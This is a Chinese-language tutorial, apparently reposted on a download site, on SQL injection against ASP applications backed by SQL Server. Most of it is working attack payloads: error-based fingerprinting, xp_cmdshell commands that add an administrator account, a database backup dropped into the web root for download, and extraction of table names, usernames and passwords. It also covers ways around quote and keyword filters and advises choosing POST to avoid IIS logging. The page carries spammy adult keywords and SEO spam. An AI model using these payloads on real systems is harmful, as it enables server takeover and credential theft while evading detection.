人人做人人澡人人爽欧美,国产主播一区二区,久久久精品五月天,羞羞视频在线观看免费

當前位置:蘿卜系統下載站 > 技術開發教程 > 詳細頁面

基于SQL Server的WEB應用程序注入攻擊詳細介紹

基于SQL Server的WEB應用程序注入攻擊詳細介紹

更新時間:2022-07-08 文章作者:未知 信息來源:網絡 閱讀次數:

隨著B/S模式應用開發的發展,使用這種模式編寫應用程序的程序員也越來越多。但是由于這個行業的入門門檻不高,程序員的水平及經驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段數據庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據,這就是所謂的SQL注入(SQL Injection)。

SQL 注入攻擊是一個常規性的攻擊,它可以允許一些不法用戶檢索你的數據,改變服務器的設置,或者在你不小心的時候黑掉你的服務器。SQL 注入攻擊不是SQL Server問題,而是不適當的程序。如果你想要運行這些程序的話,你必須明白這冒著一定的風險。



一、原理

了解SQL注入之前先要了解一些基本的B/S模式應用程序的知識,以及瀏覽器與服務器交互的相關知識。根據國情,國內的網站用ASP+Access或SQL Server的占70%以上,PHP+MySQL占20%,其他的不足10%。對于ASP+SQL Server的應用程序結構,一個ASP程序實際上是SQL Server的一個客戶端,它需要一個合法的SQL登錄名和密碼去連接SQL Server數據庫。下面一段代碼是典型的在ASP中連接SQL SERVER的例子:

<%rServer="IBM-WEB-01" '設置SQL SERVER服務器地址

rUid="webuser" '設置SQL SERVER登錄名

rPwd="xxxxxxxxf" '設置SQL SERVER登錄密碼

rDatabase="sitelog" '設置SQL SERVER數據庫名

set conn=Server.CreateObject("ADODB.Connection")

strconn="driver={sql server};server=" & rServer & ";uid=" & rUid & ";pwd=" & rPWD & ";database=" & rDatabase

conn.open strconn%>


SQL 注入的脆弱點發生在程序開發員構造一個WHERE 子句伴隨著用戶的輸入的時候。比如,下面列出一個簡單的ASP程序article_show.asp,它的功能是跟據GET獲得的參數ID顯示數據庫info_article表中相應ID值的文章內容。

<%strID=Trim(Request.QueryString("ID"))

strSQL="select * from info_article where ID=" & strID

set rs=server.CreateObject("ADODB.Recordset")

rs.open strSQL,conn,1,3%>

<table width="100%" border="0" cellpadding="10" cellspacing="1" class="table1">

<tr class="trtitle">

<td><div align="center"><%=rs("title")%><br></div></td>

</tr>

<tr class="trcontent">

<td><%=rs("content")%></td>

</tr>




請注意strSQL="select * from info_article where ID=" & strID這一句。實際運行時,客戶端應當使用類似http://www.abc.com/article_show.asp?ID=12這樣的URL訪問此ASP程序,當ID為數字12時,strID的值為字符型“12”,VBScript中“&”運算符可以連接任意類型的數據,經過&的連接后,可以得到strSQL字串的值:select * from info_article where ID=12,可以看出這是一個正常的SQL語句。VBScript是一種弱類型語言,不需聲明變量的類型(甚至不需聲明變量),這有時會給編程者帶來方便,但也容易在編程過程中產生不少可被利用的漏洞。正由于在此程序中沒有限定變量strID的類型,因而使這個程序存在SQL注入的漏洞。

二、測試

現在試著在瀏覽器中輸入下面的URL“http://www.abc.com/article_show.asp?ID=12’”,此時類比上面的介紹得到strSQL字串的值為:select * from info_article where ID=12’,這在SQL Server中是一句非法的查詢語句。這時服務器將返回如下的錯誤:

Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' 之前有未閉合的引號。


出現這種錯誤就已經說明這個網站百分百可以進行注入攻擊了。

有些時候服務器顯示“處理URL時服務器上出錯”是因為IIS設置中關閉了向客戶端發送詳細出錯信息,這時不一定不能注入,但相對來講困難極大,只能碰運氣了。

有些時候服務器顯示的內容還是ID=12的內容,沒有任何出錯信息,這可能是開發者過濾掉了單引號,可以使用下面的方法進行嘗試:“article_show.asp?ID=12 and 1=2”,此時如果出現下面的錯誤,還是有可能進行注入的。

錯誤 '80020009'

發生意外。


注意:出現下面的錯誤信息時肯定無法完成注入:

Microsoft VBScript 運行時錯誤 錯誤 '800a000d'

類型不匹配: 'cint'




Microsoft VBScript 運行時錯誤 錯誤 '800a000d'

類型不匹配: 'clng'




Microsoft VBScript 運行時錯誤 錯誤 '800a000d'

類型不匹配: 'cdbl'




Microsoft VBScript 運行時錯誤 錯誤 '800a000d'

類型不匹配: 'c'




非法的參數值。




請輸入正確的參數值。


ADODB.Parameter error '800a0d5d'

Application uses a value of the wrong type for the current operation.





三、搜集信息

確定可以實施注入攻擊后,可以使用下面的方法對服務器進行測試。



測試SQL Server版本:

article_show.asp?ID=(SELECT @@VERSION)

Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 轉換為數據類型為 int 的列時發生語法錯誤。




測試SQL Server當前的登錄用戶名:

article_show.asp?ID=(USER_NAME())

Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 'webuser' 轉換為數據類型為 int 的列時發生語法錯誤。


注意:如果是以sa登錄的在這里將顯示dbo。



測試SQL Server當前使用的數據庫名稱:

article_show.asp?ID=(DB_NAME())

Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 'sitelog' 轉換為數據類型為 int 的列時發生語法錯誤。




測試當前用戶是否為“sysadmin”組成員

SELECT IS_SRVROLEMEMBER('sysadmin')這句SQL語句可用來測試當前登錄的用戶是否為sysadmin的服務器角色,如果是將返回值1,不是的話返回值0。這里要將其轉變為字符型數據才能看到具體數值。因此寫下面的URL:(其中char(115)為字符’s’,%2B為加號(+)的UTF-8編碼。)

article_show.asp?ID=(SELECT CHAR(115) %2B CAST(IS_SRVROLEMEMBER('sysadmin') AS VARCHAR(2)))

Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]將 varchar 值 's0' 轉換為數據類型為 int 的列時發生語法錯誤。


如果顯示s0則不是’sysadmin’組成員,如果是’1’是’sysadmin’組成員。



測試當前用戶是否為“db_owner”組成員。

article_show.asp?ID=(SELECT CHAR(115) %2B CAST(IS_MEMBER('db_owner') AS VARCHAR(2)))

Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]將 varchar 值 's1' 轉換為數據類型為 int 的列時發生語法錯誤。




至此已經獲取了許多有價值的信息。如果測試出當前用戶為sysadmin組成員的話,有很大的可能性可以在這臺SQL Server上運行cmd shell。如果是db_owner則可以對當前連接的數據庫進行任意的操作,如新建表、刪除表、插入數據、讀取數據等等。



四、sysadmin權限的用戶可進行的操作

注:以下不再詳細介紹服務器的出錯信息,只列出可用的SQL語句。

添加一個NT用戶:

article_show.asp?ID=12;EXEC master..xp_cmdshell "net user name password /add"--

將該用戶添加到administrators組

article_show.asp?ID=12;EXEC master..xp_cmdshell "net localgroup name administrators /add"--

將數據庫做一個完整的備份放在網站目錄下供下載:

article_show.asp?ID=12;BACKUP DATABASE 數據庫名 to DISK='c:\Inetpub\wwwroot\1.db';--

添加一個SQL Server登錄:

article_show.asp?ID=12;EXEC sp_addlogin 'uname','pwd'--

將該登錄添加為db_owner角色:

article_show.asp?ID=12;EXEC sp_adduser 'uname','登錄名','db_owner'--

將該登錄添加為sysadmin固定服務器角色:

article_show.asp?ID=12;EXEC sp_addsrvrolemember 'uname','sysadmin'--



相反操作:

將該登錄從sysadmin固定服務器角色中刪除:

article_show.asp?ID=12;EXEC sp_dropsrvrolemember 'uname','sysadmin'--

將該登錄從db_owner角色中刪除:

article_show.asp?ID=12;EXEC sp_dropuser 'uname'

刪除該登錄:

article_show.asp?ID=12;EXEC sp_droplogin 'uname'



以上操作一般服務器會出現下面的出信息或者正常顯示ID=12的網頁:

錯誤 '80020009'

發生意外。






五、普通權限用戶可進行的操作:

普通用戶不能使用第四節中列出的命令,但仍可讀出數據庫中所有的數據。

使用下面的語句列出數據庫中第一個表的名稱:

article_show.asp?ID=(SELECT TOP 1 NAME FROM SYSOBJECTS WHERE XTYPE='U' AND STATUS>0 AND NAME NOT IN(''))

得到第一個表名為info_files后,用下面語句得到第二個表名:

article_show.asp?ID=(SELECT TOP 1 NAME FROM SYSOBJECTS WHERE XTYPE='U' AND STATUS>0 AND NAME NOT IN('info_files'))

得到第二個表名為info_articles后,用下面語句得到第三個表名:

article_show.asp?ID=(SELECT TOP 1 NAME FROM SYSOBJECTS WHERE XTYPE='U' AND STATUS>0 AND NAME NOT IN('info_files','info_articles'))

假設得到第三個表名為info_users

使用下面語句得到info_users表中第一個字段的名稱:

article_show.asp?ID=(SELECT COL_NAME(OBJECT_ID('info_users'),1)

使用下面語句得到info_users表中第二個字段名稱:

article_show.asp?ID=(SELECT COL_NAME(OBJECT_ID('info_users'),2)

假設得到info_users表的結構為ID,username,password,那么,使用下面的語句得到第一個記錄的username值:

article_show.asp?ID=(SELECT TOP 1 username FROM info_users)

使用下面語句得到第一個記錄的password值:

article_show.asp?ID=(SELECT TOP 1 password FROM info_users)

使用下面的語句得到第一個記錄的ID值:

article_show.asp?ID=(SELECT TOP 1 CHAR(115) %2B CAST(ID AS VARCHAR(2)) FROM info_users)



六、附加說明

也有很多開發者用過濾’號的方法來“防止”注入漏洞,但還是可以利用相關的函數,達到繞過程序限制的目的。舉個例子來看看怎么改造這些語句:

簡單的如where xtype=’U’,字符U對應的ASCII碼是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用戶’,可以用where name=nchar(29992)+nchar(25143)代替。

有些人會過濾Select、Update、Delete這些關鍵字,但偏偏忘記區分大小寫,所以大家可以用selecT這樣嘗試一下。

在猜不到字段名時,不妨看看網站上的登錄表單,一般為了方便起見,字段名都與表單的輸入框取相同的名字。

特別注意:地址欄的+號傳入程序后解釋為空格,%2B解釋為+號,%25解釋為%號,具體可以參考URLEncode的相關介紹。

用Get方法注入時,IIS會記錄你所有的提交字符串,對Post方法做則不記錄,所以能用Post的網址盡量不用Get。

SQL Server的注入攻擊絕非僅限上面介紹的這些,可以用自己的方法構成很多巧妙的SQL語句得到想要的信息。安裝SQL Server后可以查閱“SQL Server聯機從書”,這里能夠找到SQL Server所有的語句、函數、系統存儲過程和安全性方面的文檔,是非常好的參考資料。

溫馨提示:喜歡本站的話,請收藏一下本站!

本類教程下載

系統下載排行

網站地圖xml | 網站地圖html
主站蜘蛛池模板: 临汾市| 西吉县| 东方市| 山东省| 营山县| 万全县| 依安县| 葵青区| 白朗县| 广南县| 清河县| 乌苏市| 遂宁市| 绥芬河市| 怀柔区| 繁昌县| 青铜峡市| 延川县| 鄂温| 孟州市| 虹口区| 巴南区| 托克托县| 永兴县| 江华| 重庆市| 巨鹿县| 旅游| 青河县| 凤庆县| 景泰县| 长乐市| 阳山县| 盘山县| 繁昌县| 合阳县| 灵山县| 迁西县| 武功县| 阿鲁科尔沁旗| 灌南县|